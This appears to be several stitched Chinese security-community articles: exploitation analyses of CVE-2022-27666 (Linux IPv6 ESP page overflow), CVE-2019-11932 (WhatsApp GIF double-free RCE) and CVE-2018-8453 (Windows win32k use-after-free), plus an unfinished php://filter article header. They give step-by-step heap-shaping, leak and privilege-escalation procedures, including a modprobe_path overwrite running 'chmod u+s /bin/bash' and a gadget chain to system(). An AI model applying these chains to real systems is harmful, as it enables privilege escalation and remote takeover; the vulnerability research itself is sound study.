[__xfrm6_output()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/xfrm6_output.c#L87)
-> [xfrm_output()]() ->
[xfrm_output2()](https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_output.c#L614)
->
[xfrm_output_resume()](https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_output.c#L595)
->
[dst_output()](https://elixir.bootlin.com/linux/v5.16.14/source/include/net/dst.h#L451)
->
[ip6_output()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L226)
->
[NF_HOOK_COND()](https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/netfilter.h#L287)
->
[ip6_finish_output](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L201)
->
[__ip6_finish_output](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L191)
->
[ip6_finish_output2()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/ip6_output.c#L126)
->
[neigh_output()](https://elixir.bootlin.com/linux/v5.16.14/source/include/net/neighbour.h#L533)
->
[neigh_hh_output()](https://elixir.bootlin.com/linux/v5.16.14/source/include/net/neighbour.h#L519)
->
[dev_queue_xmit()](https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L4262)
->
[__dev_queue_xmit()](https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L4220)
->
[validate_xmit_skb()](https://elixir.bootlin.com/linux/v5.16.14/source/net/core/dev.c#L3699)
->
[validate_xmit_xfrm()](https://elixir.bootlin.com/linux/v5.16.14/source/net/xfrm/xfrm_device.c#L160)
->
[esp6_xmit()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6_offload.c#L322)
->
[esp_output_head()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv4/esp4.c#L477)
34层，太复杂了。。。
int esp6_output_head(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *esp)
{
...
struct page_frag *pfrag = &x->xfrag; // x->xfrag->page = vul object
int tailen = esp->tailen;
allocsize = ALIGN(tailen, L1_CACHE_BYTES);
spin_lock_bh(&x->lock);
if (unlikely(!skb_page_frag_refill(allocsize, pfrag, GFP_ATOMIC))) { // [1]
spin_unlock_bh(&x->lock);
goto cow;
}
...
}
bool skb_page_frag_refill(unsigned int sz, struct page_frag *pfrag, gfp_t gfp)
{
if (pfrag->offset + sz <= pfrag->size)
return true;
...
if (SKB_FRAG_PAGE_ORDER &&
!static_branch_unlikely(&net_high_order_alloc_disable_key)) {
pfrag->page = alloc_pages((gfp & ~__GFP_DIRECT_RECLAIM) | // [2]
__GFP_COMP | __GFP_NOWARN |
__GFP_NORETRY,
SKB_FRAG_PAGE_ORDER);
...
}
...
return false;
}
### 1-2 越界写
**漏洞对象越界**
：[null_skcipher_crypt()](https://elixir.bootlin.com/linux/v5.16.14/source/crypto/crypto_null.c#L76)
函数中，内核拷贝了 N-page 数据，导致OOB。
static int null_skcipher_crypt(struct skcipher_request *req)
{
struct skcipher_walk walk;
int err;
err = skcipher_walk_virt(&walk, req, false);
while (walk.nbytes) {
if (walk.src.virt.addr != walk.dst.virt.addr)
// out-of-bounds write
memcpy(walk.dst.virt.addr, walk.src.virt.addr,
walk.nbytes);
err = skcipher_walk_done(&walk, 0);
}
return err;
}
**调用栈** ：`...` ->
[esp6_xmit()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6_offload.c#L363)
->
[esp6_output_tail()](https://elixir.bootlin.com/linux/v5.16.14/source/net/ipv6/esp6.c#L659)
->
[crypto_aead_encrypt()](https://elixir.bootlin.com/linux/v5.16.14/source/crypto/aead.c#L94)
->
[crypto_authenc_encrypt()](https://elixir.bootlin.com/linux/v5.16.14/source/crypto/authenc.c#L210)
->
[crypto_authenc_copy_assoc()](https://elixir.bootlin.com/linux/v5.16.14/source/crypto/authenc.c#L189)
->
[crypto_skcipher_encrypt()](https://elixir.bootlin.com/linux/v5.16.14/source/crypto/skcipher.c#L630)
->
[null_skcipher_crypt()](https://elixir.bootlin.com/linux/v5.16.14/source/crypto/crypto_null.c#L85)
可以看到，`esp6_xmit()` 先调用 `esp6_output_head()` 分配漏洞对象的 8-page
内存（地址存放在`x->xfrag->page`），再调用 `esp6_output_tail()` 将该内存赋值给 `req.dst` 并最后触发OOB。
static int esp6_xmit(struct xfrm_state *x, struct sk_buff *skb, netdev_features_t features)
{
int err;
int alen;
struct esp_info esp;
bool hw_offload = true;
... ...
esp.tailen = esp.tfclen + esp.plen + alen; // esp.tailen -> allocsize
if (!hw_offload || !skb_is_gso(skb)) {
esp.nfrags = esp6_output_head(x, skb, &esp); // [1] alloc the vulnerable object, saved at x->xfrag->page
if (esp.nfrags < 0)
return esp.nfrags;
}
... ...
err = esp6_output_tail(x, skb, &esp); // [2] trigger OOB
... ...
}
int esp6_output_tail(struct xfrm_state *x, struct sk_buff *skb, struct esp_info *esp)
{
... ...
if (!esp->inplace) {
int allocsize;
struct page_frag *pfrag = &x->xfrag;
... ...
page = pfrag->page;
get_page(page);
/* replace page frags in skb with new page */
__skb_fill_page_desc(skb, 0, page, pfrag->offset, skb->data_len);
pfrag->offset = pfrag->offset + allocsize;
spin_unlock_bh(&x->lock);
sg_init_table(dsg, skb_shinfo(skb)->nr_frags + 1);
err = skb_to_sgvec(skb, dsg,
(unsigned char *)esph - skb->data,
assoclen + ivlen + esp->clen + alen);
... ...
aead_request_set_crypt(req, sg, dsg, ivlen + esp->clen, iv); // [2-1] dsg = x->xfrag->page
aead_request_set_ad(req, assoclen);
... ...
err = crypto_aead_encrypt(req); // [2-2] req->dst = dsg
... ...
}
EXPORT_SYMBOL_GPL(esp6_output_tail);
static int null_skcipher_crypt(struct skcipher_request *req)
{
struct skcipher_walk walk;
int err;
err = skcipher_walk_virt(&walk, req, false); // [3] walk->dst = req.dst
while (walk.nbytes) {
if (walk.src.virt.addr != walk.dst.virt.addr)
memcpy(walk.dst.virt.addr, walk.src.virt.addr, // [4] trigger OOB
walk.nbytes);
err = skcipher_walk_done(&walk, 0);
}
return err;
}
**漏洞缺陷** ：作者利用时，发送 16-page 数据，可以溢出 8-page，问题是
[esp_output_fill_trailer()](https://elixir.bootlin.com/linux/v5.16.14/source/include/net/esp.h#L14)
会根据消息长度和所用协议类型，在末尾添加几个字节（对我们来说是垃圾数据）。
static inline void esp_output_fill_trailer(u8 *tail, int tfclen, int plen, __u8 proto)
{
/* Fill padding... */
if (tfclen) {
memset(tail, 0, tfclen);
tail += tfclen;
}
do {
int i;
for (i = 0; i < plen - 2; i++)
tail[i] = i + 1;
} while (0);
tail[plen - 2] = plen - 2;
tail[plen - 1] = proto;
}
* * *
## 2\. Buddy system 知识
**说明** ：分析伙伴系统的原理是研究 page-level heap fengshui 的前提。
### 2-1 page allocator
页分配器的知识可以参见
[page_alloc.c](https://elixir.bootlin.com/linux/latest/source/mm/page_alloc.c)
源码。
**简介** ：[Linux page
allocator](https://www.kernel.org/doc/gorman/html/understand/understand009.html)
管理内核底层的物理页，SLUB / SLAB / SLOB 内存分配器都在 Page allocator 之上。例如，当内核耗尽所有 kmalloc-4k
slab之后，内存分配器会向 Page allocator 申请内存，由于 kmalloc-4k 位于 8-page slab （order 3），所以
Page allocator 会申请 8-page 内存给内存分配器。
**存储结构** ：Page allocator 采用
[free_area](https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/mmzone.h#L97)
结构（[zone->free_area](https://elixir.bootlin.com/linux/v5.16.14/source/include/linux/mmzone.h#L617)
数组，长度为 `MAX_ORDER == 1`，所以最大order为11）来保存空闲页，也就是个保存不同 order/size 页的数组，采用 order
来区分不同大小的页（例如，N-order 表示大小为 `PAGE_SIZE<<3` 的页；order-0 就表示大小为 `PAGE_SIZE`
的页）。`free_area` 中每个 order 都对应一个 `free_list`，从 `free_list` 分配或将页释放后放入
`free_list`。
struct free_area {
struct list_head free_list[MIGRATE_TYPES];
unsigned long nr_free;
};
**cache 与页分配** ：不同的slab如果耗尽了会申请不同 order 的页，例如，`kmalloc-256` 会从 `order-0` 申请页，而
`kmalloc-512` 会从 `order-1` 申请页，`kmalloc-4k` 会从 `order-3` 申请页。
**split page** ：如果 `free_list` 中没有空闲页，则 `lower-order free_area` 从 `higher-order free_area` 取页，`higher-order free_area` 将页一分为二，然后 `lower-order free_area`
将页返回给申请者（例如 `alloc_pages()`）。例如，当 `order-2`（4-page）的 `free_list` 耗尽之后，就从
`order-3` 申请页，`order-3` 的页分成两个 `4-page` 页，位于低地址的 `4-page` 返回给申请者，高地址的 `4-page`
保存在 `order-2` 的`free_list` 中供下次申请。原理如下所示：
**merge page** ：如果 `free_list` 中有很多空闲页，页分配器会整合两个相邻的、order相同的页，并放入 `higher-order free_area` 。还是以刚才的例子来看，假设 `order-3` 被分成两个 `order-2` 的页，其中一个存放在 `order-2`
的 `free_list`，只要被分配的页又被释放回 `order-2` 的 `free_list`，页分配器会检查新释放的页在同一 `free_list`
中是否存在相邻的页（这俩就被称为 buddy），存在的话就将这俩合并后放入 `order-3`。
**对应源码** ：以下代码展示了页分配器如何从 `free_area` 中选取页以及如何从 `higher-order` 中取页。
static __always_inline
struct page *__rmqueue_smallest(struct zone *zone, unsigned int order,
int migratetype)
{
unsigned int current_order;
struct free_area *area;
struct page *page;
for (current_order = order; current_order < MAX_ORDER; ++current_order) {
// Pick up the right order from free_area
area = &(zone->free_area[current_order]);
// Get the page from the free_list
page = get_page_from_free_area(area, migratetype);
// If no freed page in free_list, goes to high order to retrieve
if (!page)
continue;
del_page_from_free_list(page, zone, current_order);
expand(zone, page, order, current_order, migratetype);
set_pcppage_migratetype(page, migratetype);
return page;
}
return NULL;
}
static inline struct page *get_page_from_free_area(struct free_area *area,
int migratetype)
{
return list_first_entry_or_null(&area->free_list[migratetype],
struct page, lru);
}
### 2-2 [shaping
heap](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html)
**页风水目标** ：现在讨论下如何为 OOB write 布局堆结构。现在已知在页分配器中，每种 order 的页都保存在
`free_area->free_list` 中。由于不能保证在同一 `free_list`
中的两个页是连续的，所以即便连续申请2个同一order的页，这2个页可能相隔很远。为了更好的控制堆布局，我们需要 **确保`free_list`
中所有的页是连续**的。首先耗尽目标order的 `free_list`，迫使其向 `higher-order`
取页，这样取过来的页会被划分成两段连续的内存。
**缓解噪声（保证连续）** ：有些内核进程也会分配和释放页，影响了堆布局。回到本漏洞中来，我们的目标是布局连续的 `order-3` 的页，但是可能会有
`order-3` 的页被划分到 `order-2` 或者有 `order-2` 的页被整合到 `order-3`。为了缓解噪声影响，可以采取以下步骤：
（1）耗尽 order 0, 1, 2 的 `free_list`；（ **采用socket中的`ring_buffer` 来堆喷—页风水**）
（2）分配大量的 order-2 对象 （假定为N个），这样，order-2 会向 order-3 取页；（
**分10个进程，每个进程喷200个`4-page` 大小的 `ring_buffer`**）
（3）释放第2步中一半的对象，这样，有 N/2 个对象会存入 order-2 的 `free_list`；
（4）释放第1步所有的对象；
第3步中，释放一半的 order-2 就避免其发生整合而被存入 order-3，这样 order-2 的 `free_list` 中就有 N/2
个页可以使用了，之后就不会从 `order-3` 取页或者整合到 `order-3` 了。避免我们构造连续的 8-page 时受到影响。
* * *
## 3\. 漏洞利用
### 3-1 泄露方法
**思路一（失败）** ：利用 `msg_msg`，覆写 `msg_msg->m_ts` 构造越界读。但是测试时发现，漏洞的垃圾字节会覆写
`msg_msg->next` 指针（`m_ts` 和 `next` 相邻），导致越界读失败。
**思路二** ：利用
[user_key_payload](https://elixir.bootlin.com/linux/v5.16.14/source/include/keys/user-type.h#L27) 结构（从 [ELOISE](https://zplin.me/papers/ELOISE.pdf)
论文中找到）。可以看到，这个结构的 `datalen` 长度和数据在一起，这样即便垃圾字节会填到末尾，也不会破坏到指针了。
struct user_key_payload {
struct rcu_head rcu; // rcu指针可以被设置为NULL
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};
**key长度限制** ：Ubuntu 上默认会限制key的数量和长度。问题是导致溢出的对象位于 8-page，我们在漏洞对象后面也要布置一个 8-page
对象（暂时称为 `victim slab`），而在Ubuntu上，只有 kmalloc-2k / kmalloc-4k / kmalloc-8k 会从
order-3 取页。所以至少要使key被分配在 kmalloc-2k 上，才能使key位于 8-page 的页中。
$ sudo cat /proc/sys/kernel/keys/maxbytes
20000
$ sudo cat /proc/sys/kernel/keys/maxkeys
200
**victim个数限制** ：可以用8个 kmalloc-4k 对象来填充`victim slab`，采用长度为 2049 的
`user_key_payload` 即可。这样 `user_key_payload` 总长度为 `2049*8=16392`，由于限制最多 20000
字节的key，只剩下 1 个 `user_key_payload` 可用 — `((20000-16392)/2049 = 1)`，所以最多可以布置2个
`victim slab`，条件非常严苛。
**增大victim个数** ：可以每个 `victim slab` 放一个 `user_key_payload`
对象，剩下的空间填充其他对象，`user_key_payload` 可以在 `victim slab` 中任意位置，因为本漏洞可以溢出覆盖整个
`victim slab`。这样，我们就可以喷9个 `victim slab` 了，增大的泄露的成功几率。
### 3-2 泄露内核基址
**方法** ：其实本可以直接在 `victim slab` 后面放一个包含内核指针的对象，但是作者很想尝试
[post](https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html) 中通过篡改 `msg_msg->next` 进行任意读写的技术。先通过 `user_key_payload` 越界读来泄露
`msg_msg->next` 指针，然后伪造 `msg_msg->m_ts` & `msg_msg->next` （`msg_msg->security`
在Ubuntu上没用，可覆盖为0）进行任意读。
**泄露`msg_msg->next`**：堆上布局3个相邻的对象—— `vul object` -> `user_key_payload` ->
`msg_msg`，注意 `msg_msg->next` 指向 kmalloc-32，并堆喷大量的 `struct seq_operations`
对象。触发越界写来篡改 `user_key_payload->datalen`，通过 `user_key_payload` 越界读来泄露
`msg_msg->next` 指针。为了增大成功几率，可以创建9对这种布局（3个相邻对象的堆布局）。
**泄露内核基址** ：堆上布局2个相邻的对象——`vul object` -> `msg_msg`，触发越界写来篡改 `msg_msg->m_ts` &
`msg_msg->next` ，通过 `msg_msg` 越界读来泄露 `struct seq_operations` 对象上的函数指针（因为之前泄露的
`msg_msg->next` 指向 kmalloc-32，而kmalloc-32 上已经喷射了很多 `struct seq_operations`
对象）。
**总体步骤** ：（1）~（8）泄露 `msg_msg->next` ，（9）~（12）泄露内核基址。
（1）分配大量8-page 页来耗尽 `order-3` 的 `free_list`，这样 `order-3` 就会从 `order-4`
取页，保证内存连续性；
（2）分配3个连续的 8-page dumy 对象（占位对象）；（ **占位对象采用`ring_buffer`**）
（3）释放第2个占位对象，分配1个8-page slab，其中包含1个 `user_key_payload` 对象和7个其他对象（
**这7个对象采用多个子线程调用`setxattr()`来堆喷**）；
（4）释放第3个占位对象，分配1个8-page slab，填满大小在4056~4072之间的 `msg_msg`，使得 `msg_msgseg` 位于
kmalloc-32；
（5）喷射大量的 `struct seq_operations`，和第4步的 `msg_msgseg` 位于同一cache；
（6）释放第1个占位对象，分配漏洞对象，触发越界写来修改 `user_key_payload->datalen`；
（7）如果第（6）步成功，就能通过 `user_key_payload` 进行越界读；
（8）如果第（7）步成功，就能泄露出 `msg_msg->next` 指针；
（9）分配2个连续的 8-page dumy 对象（占位对象）；
（10）释放第2个占位对象，分配1个8-page slab，填满 `msg_msg`；
（11）释放第1个占位对象，分配漏洞对象，触发越界写来篡改 `msg_msg->m_ts` & `msg_msg->next` ；
（12）如果第（11）步成功，就能越界读来泄露 `struct seq_operations` 对象上的函数指针。
### 3-3 提权
**任意写** ：还是利用 `msg_msg` 来进行任意写。由于普通用户需要 [specific
capability](https://lwn.net/Articles/819834/) 才能使用userfaultfd，可以采用
[CVE-2022-0185](https://www.willsroot.io/2022/01/cve-2022-0185.html)
中的介绍的FUSE方法来进行任意写。通过FUSE可以实现用户空间文件系统，然后映射我们的内存地址，只要有读写访问到该地址就可以调用我们的页错误处理函数，这样可以控制当
`msg_msg->next` 被篡改之后，再允许 `copy_from_user()` 继续访问用户空间的数据。
**提权** ：利用任意写来篡改 `modprbe_path` 提权。后面方法和
[CVE-2022-0185](https://www.willsroot.io/2022/01/cve-2022-0185.html) 一样。将
`modprbe_path` 改为 `/tmp/get_rooot` （运行`chmod u+s /bin/bash`），这样提权后只要运行
`/bin/bash` 即可提权。
（1）分配2个连续的 8-page dumy 对象（占位对象）；
（2）映射消息内容到FUSE，释放第2个占位对象，分配1个8-page slab，填满 `msg_msg`，线程会暂停在
`copy_from_user()`；
（3）释放第1个占位对象，分配漏洞对象，触发越界写来篡改 `msg_msg->next` 为 `modprobe_path` 地址；
（4）执行一个错误格式的binary 触发 modprobe；
（5）打开 `/bin/bash` 即可提权。
**exp说明** ：
* 原exp中前1271行是设置环境，不重要（作者说，环境设置部分的代码是syzkaller自动生成的，非常复杂；只有利用部分，也即 `loop()` 函数是作者写的，我们需要重点研究该函数），需要用到几个符号：`single_start` / `single_next` / `single_stop` / `modprobe_path`，在原exploit的111行修改即可。
* exp中 main 函数设置完环境之后，调用 `clone()` 创建子进程执行 `loop()` 函数，`loop()` 函数实现主要利用过程。参见 [clone()分析](https://blog.csdn.net/ren18281713749/article/details/94769023)，不同于 `fork()` / `vfork()` ，`clone()` 克隆生成的子进程继续运行时不以调用处为起点，转而去调用以参数func所指定的函数；当函数func返回或者是调用 `exit()`（或者 `_exit()`）之后，克隆产生的子进程就会终止，父进程可以通过 `wait()` 一类函数来等待克隆子进程；调用者必须分配一块大小适中的内存空间供子进程的栈使用，同时将这块内存的指针置于参数 `child_stack` 中。
#define _GNU_SOURCE
#include <sched.h>
int clone(int (*func)(void*),void *child_stack,int flags,void *func_arg,....
/*pid_t *ptid,struct user_desc *tls,pid_t *ctid*/);
Return process ID of child on success,or -1 on error
* 页喷射对象：进行页风水和页占位的对象是`ring_buffer`，因为其size设置很灵活，适合页喷射。
* * *
### 参考
[CVE-2022-27666: Exploit esp6 modules in Linux
kernel](https://etenal.me/archives/1825)
[exploit](https://github.com/plummm/CVE-2022-27666)
[[漏洞分析] CVE-2022-27666 IPV6
ESP协议页溢出内核提权](https://blog.csdn.net/Breeze_CAT/article/details/123922861)
* * * | 社区文章 |
**作者：SungLin@知道创宇404实验室
时间：2019年10月23日**
### 0x00
新加坡安全研究员Awakened在他的博客中发布了这篇[[0]](https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce
"\[0\]")对whatsapp的分析与利用的文章，其工具地址是[[1]](https://github.com/awakened1712/CVE-2019-11932
"\[1\]")，并且演示了rce的过程[[2]](https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
"\[2\]")，只要结合浏览器或者其他应用的信息泄露漏洞就可以直接在现实中远程利用，并且Awakened在博客中也提到了：
1、攻击者通过任何渠道将GIF文件发送给用户其中之一可以是通过WhatsApp作为文档（例如，按“Gallery”按钮并选择“Document”以发送损坏的GIF）
如果攻击者在用户（即朋友）的联系人列表中，则损坏的GIF会自动下载，而无需任何用户交互。
2、用户想将媒体文件发送给他/她的任何WhatsApp朋友。因此，用户按下“Gallery”按钮并打开WhatsApp
Gallery以选择要发送给他的朋友的媒体文件。请注意，用户不必发送任何内容，因为仅打开WhatsApp Gallery就会触发该错误。按下WhatsApp
Gallery后无需额外触摸。
3、由于WhatsApp会显示每个媒体（包括收到的GIF文件）的预览，因此将触发double-free错误和我们的RCE利用。
此漏洞将会影响WhatsApp版本2.19.244之前的版本，并且是Android 8.1和9.0的版本。
我们来具体分析调试下这个漏洞。
### 0x01
首先呢，当WhatsApp用户在WhatsApp中打开“Gallery”视图以发送媒体文件时，WhatsApp会使用一个本机库解析该库，`libpl_droidsonroids_gif.so`以生成GIF文件的预览。`libpl_droidsonroids_gif.so`是一个开放源代码库，其源代码位于[[3]](https://github.com/koral--/android-gif-drawable/releases
"\[3\]")，新版本的已经修改了decoding函数，为了防止二次释放，在检测到传入gif帧大小为0的情况下就释放`info->rasterBits`指针，并且返回了:
而有漏洞的版本是如何释放两次的，并且还能利用，下面来调试跟踪下。
### 0x02
Whatsapp在解析gif图像时会调用`Java_pl_droidsonroids_gif_GifInfoHandle_openFile`进行第一次初始化，将会打开gif文件，并创建大小为0xa8的GifInfo结构体，然后进行初始化。
之后将会调用`Java_pl_droidsonroids_gif_GifInfoHandle_renderFrame`对gif图像进行解析。
关键的地方是调用了函数`DDGifSlurp(GifInfo *info, bool decode, bool
exitAfterFrame)`并且传入decode的值为true，在未打补丁的情况下，我们可以如Awakened所说的，构造三个帧，连续两个帧的`gifFilePtr->Image.Width`或者`gifFilePtr->Image.Height`为0，可以导致reallocarray调用reallo调用free释放所指向的地址，造成double-free：
然后android中free两次大小为0xa8内存后，下一次申请同样大小为0xa8内存时将会分配到同一个地址，然而在whatsapp中，点击gallery后，将会对一个gif显示两个Layout布局，将会对一张gif打开并解析两次，如下所示：
所以当第二次解析的时候，构造的帧大小为0xa8与GifInfo结构体大小是一致的，在解析时候将会覆盖GifInfo结构体所在的内存。
### 0x03
大概是这样,和博客那个流程大概一致:
第一次解析：
申请0xa8大小内存存储数据
第一次free
第二次free
..
.. 第二次解析：
申请0xa8大小内存存储info
申请0xa8大小内存存储gif数据->覆盖info
Free
Free
..
..
最后跳转info->rewindFunction(info)
X8寄存器滑到滑块指令
滑块执行我们的代码
### 0x04
制作的gif头部如下：
解析的时候首先调用`Java_pl_droidsonroids_gif_GifInfoHandle_openFile`创建一个GifInfo结构体，如下所示：
我们使用提供的工具生成所需要的gif，所以说`newRasterSize = gifFilePtr->Image.Width *
gifFilePtr->Image.Height==0xa8`，第一帧将会分配0xa8大小数据
第一帧头部如下：
接下来解析到free所需要的帧如下，`gifFilePtr->Image.Width`为0，`gifFilePtr->Image.Height`为0xf1c，所以newRasterSize的大小将会为0，`reallocarray(info->rasterBits,
newRasterSize, sizeof(GifPixelType))`的调用将会free指向的`info->rasterBits`：
连续两次的free掉大小为x0寄存器指向的0x6FDE75C580地址，大小为0xa8，而x19寄存器指向的0x6FDE75C4C0,x19寄存器指向的就是Info结构体指针
第一次解析完后info结构体数据如下，`info->rasterBits`指针指向了0x6FDE75C580，而这里就是我们第一帧数据所在，大小为0xa8：
经过reallocarray后将会调用DGifGetLine解码LZW编码并拷贝到分配内存：
第一帧数据如下，`info->rasterBits = 0x6FDE75C580`：
在经过double-free掉0xa8大小内存后，第二次解析中，首先创建一个大小为0xa8的info结构体，之后将会调用DDGifSlurp解码gif，并为gif分配0xa8大小的内存，因为android的两次释放会导致两次分配同一大小内存指向同一地址特殊性,所以x0和x19都指向了0x6FDE75C580，x0是gif数据，x19是info结构体：
此时结构体指向0x6FDE75C580
之后经过DGifGetLine拷贝数据后，我们gif的第一帧数据将会覆盖掉0x6FDE75C580，最后运行到函数末尾，调用`info->rewindFunction(info)`：
此时运行到了`info->rewindFunction(info)`，x19寄存器保存着我们覆盖了的info指针，
此时x8寄存器指向了我们需要的指令，在libhwui中：
此时我们来分析下如何构造的数据,在我的本机上泄露了俩个地址,0x707d540804和0x707f3f11d8，如上所示，运行到`info->rewindFunction(info)`后，x19存储了我们覆盖的数据大小为0xa8，汇编代码如下:
LDR X8,[X19,#0X80]
MOV X0,X19
BLR X8
所以我们需要泄露的第一个地址要放在X19+0X80处为0x707d540804，而0x707d540804的指令如下，所以以如下指令作为跳板执行我们的代码：
LDR X8,[X19,#0X18]
ADD X0,X19,#20
BLR X8
所以刚好我们x19+0x18放的是执行libc的system函数的地址0x707f3f11d8,而x19+20是我们执行的代码所在位置：
提供的测试小工具中，我们将会遍历lib库中的指令直到找到我们所需滑板指令的地址：
还有libc中的system地址，将这两个地址写入gif
跳转到libhwui后，此地址指令刚好和我们构造的数据吻合
X8寄存器指向了libc的system调用
X0寄存器指向我们将要运行的代码：
### 0x05
参考链接如下:
[0] <https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce>
[1] <https://github.com/awakened1712/CVE-2019-11932>
[2] <https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view>
[3] <https://github.com/koral--/android-gif-drawable/releases>
* * * | 社区文章 |
# **漏洞概述**
CVE-2018-8453是卡巴斯基实验室于2018年8月份在一系列针对中东地区进行APT攻击的活动中捕获到的Windows提权0day漏洞，该漏洞与Windows窗口管理和图形设备接口相关（win32kfull.sys）。漏洞可以被利用于将Windows下较低级别的用户权限提升为系统权限（users->system）。
该漏洞产生的原因是win32kfull!NtUserSetWindowFNID函数存在缺陷：在对窗口对象设置FNID时没有检查窗口对象是否已经被释放，导致可以对一个已经被释放了的窗口（FNID_FREED:0x8000）设置一个新的FNID。通过利用win32kfull!NtUserSetWindowFNID的这一缺陷，可以控制窗口对象销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数，从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Use
AfterFree。
# **漏洞细节**
漏洞分析
从卡巴的报告来看该漏洞位于win32kfull!xxxDestroyWindow中。但是通过对补丁进行对比可以发现在NtUserSetWindowFNID函数中有较大差异，可以看到在判断流程中，多了一个对IsWindowBeingDestroyed函数的调用。
漏洞版本：
通过对IsWindowBeingDestroyed函数名可以推测该函数主要用来判断窗口被销毁，从NtUserSetWindowFNID函数名可以推测主要用来判断的成员应该是FNID。可以从网上泄露的源码来查找FNID的含义，可以看到FNID用来标识窗口，比如是一个菜单还是一个编辑框。
通过对NtUserSetWindowFNID函数中修改窗口FNID的分析知道要修改窗口的FNID需满足条件。从代码可以看出如果要修改FNID为0x4000的时候可以，但0x4000表示FNID_DESTROY，只是打标记不产生实际作用，而且如果是0x4000后面加的补丁函数毫无意义。第二个条件就是FNID的值小于等于0x2A1并且要修改窗口的FNID的值必须大于0x3FFF或者为0，大于0x3FFF的有0x4000和0x8000，而这两个都是销毁窗口打了没用。
所以只能考虑为空的情况，发现三种情况会时FNID为空：一种是在任意类型窗口刚建立时，这时系统在用户态主动调用NtUserSetWindowFNID来设置FNID（user32.dll中自动实现），而此时，如果没有设置完FNID，则窗口还没有设置消息处理函数，也就没有处理消息的能力。而文章中提到了WM_LBUTTONDOWN消息，则可以肯定是在Scrollbar窗口完全创建之后。故此种情况不行。二种是用户注册的窗口类所产生的窗口，此窗口一直到销毁，都没有设置FNID。第三种就是文章中所说的sysShadow窗口，此窗口的作用只是产生阴影效果，FNID为空。。在执行了NtUserSetWindowFNID函数前后的FNID值从0x8000变成了0x82A1。通过查询可知0x8000代表FNID_FREED，0x2A1表示FNID_BUTTON。
一个窗口销毁的用户态接受到的最后消息是WM_NCDESTROY，在win32k中是在xxxFreeWindow函数中发送给窗口。WM_NCDESTROY
消息号是0x0082，可以在xxxFreeWindow函数中找到。并且可以看到在后面的代码中把FNID打上先打上了0x4000的标记，0x4000标记表示FNID_DESTROY
，后面在打上了0x8000的标记，而卡巴的报告中提到FNID值从0x8000变成了0x82A1，所以被hook的函数应该在打上0x8000标记之后执行。
现在需要在打上0x8000标记之后找到一个可以返回应用层的HOOK函数，通过查看打上0x8000标记之后的代码可以在离打上0x8000标记很近的代码位置看到函数xxxClientFreeWindowClassExtraBytes，函数名带有"xxx"和"zzz"前缀的一般都会通过nt!KeUserModeCallback返回用户层。现在就要看调用函数xxxClientFreeWindowClassExtraBytes的条件，通过代码不好直接判断满足的条件，可以通过函数名来初步判断是释放窗口的扩展字节，由于扩展字节是分配在用户空间中所以该函数返回到用户态让用户态代码去释放。WNDCLASSEX结构体中cbWndExtra成员表示“为每个窗体预留的空间大小”，
cbWndExtra的值可以在0~40之间，单位是字节。要使用cbWndExtra成员指定的空间，则必须在注册窗体类时预先预留好指定的大小，否则无法使用。
所以需要在注册窗口类的时候设置cbWndExtra成员不为0。在窗口销毁时，就会在设置了0x8000之后通过xxxClientFreeWindowClassExtraBytes函数回到用户态。当窗口以0x8000回到用户态后就可以通过HOOK后的xxxClientFreeWindowClassExtraBytes函数来更改FNID为0x82a1，从而满足卡巴的条件。
在卡巴的文章里还提到了当处理WM_LBUTTONDOWN消息时，fnDWORD钩子会在父节点上执行DestroyWindow函数，导致窗口被标记为空闲，并且随后被垃圾收集器释放。所以需要HOOK
`__fnDWORD`函数，在HOOK函数中去执行DestroyWindow函数释放窗口。释放窗口会调用xxxFreeWindow函数与上面的流程组成完整的过程。整理整个攻击过程如下：
a)先需要HookKernelCallbackTable中的两个回调`user32!__fnDWORD`和`user32!__xxxClientFreeWindowClassExtraBytes`。发送WM_LBUTTONDOWN消息系统处理消息触发调用xxxSBTrackInit函数，初始化SBTrack结构并开始循环。对一个滚动条进行鼠标左击时，会触发调用win32kfull!xxxSBTrackInit函数，其中会调用xxxSBTrackLoop循环获取鼠标消息，直到释放鼠标左键或者收到其它消息，才会退出xxxSBTrackLoop函数。
d)当xxxSBTrackInit中调用xxxSBTrackLoop回调fnDWORD_hook时，调用DestoryWindow销毁主窗口，这样会导致调用win32kfull!xxxFreeWindow。销毁主窗口会调用释放扩展字节的函数xxxClientFreeWindowClassExtraBytes从而进入设置的HOOK函数，
在HOOK函数中调用NtUserSetWindowFNID更改掉窗口FNID(spec_fnid为0x2A1至0x2AA中的一个值)。
f)创建新窗口并调用SetCapture设置新窗口为捕获窗口，由于这是主窗口唯一的一个引用，那么xxxSBTrackLoop会返回，解除对主窗口的引用这次解除导致彻底释放主窗口对象，win32kfull!xxxFreeWindow函数再次被执行。
g)通过前面的分析知道调用xxxFreeWindow函数后会打上0x8000的标记，在e中FNID被修改0x2A2，所以再次进入win32kfull!xxxFreeWindow函数执行后，FNID的值已经变成了0x82A2，从而会通过下面的判断调用SfnDWORD回到用户态进入HOOK函数。 | 社区文章 |
# 探索php://filter在实战当中的奇技淫巧
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
